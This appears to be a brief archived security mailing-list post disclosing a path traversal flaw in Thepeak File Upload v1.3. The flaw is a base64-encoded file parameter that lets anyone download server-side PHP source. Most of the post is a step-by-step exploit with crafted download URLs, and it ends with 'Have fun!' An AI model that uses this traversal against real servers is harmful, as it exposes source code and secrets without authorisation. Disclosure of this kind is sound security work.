http://www.securityfocus.com/archive/1/378494
Today, I find out a bug in Thepeak File Upload v1.3 , this bug allows attacker
can download source file(.php,...) from server.
-------------------------
Exploit :
http://somesite.com/example/index.php --> upload form
Now, we upload one file to server, ex : test.jpg -->ok
We have its url to view it : 
http://somesite.com/example/index.php?act=view&file=dGVzdC5qcGc=
anh url to download it : 
http://somesite.com/example/index.php?act=dl&file=dGVzdC5qcGc=
Notice that the value "dGVzdC5qcGc=" of parameter file is encoded 64 of " 
test.jpg"
We need get source file http://somesite.com/index.php.
Encode 64 path to index.php above : ../index.php --> Li4vaW5kZXgucGhw
==> we have the link to download source file index.php (notice act=dl)

http://somesite.com/example/index.php?act=dl&file=Li4vaW5kZXgucGhw

You can also download other files.
Have fun!
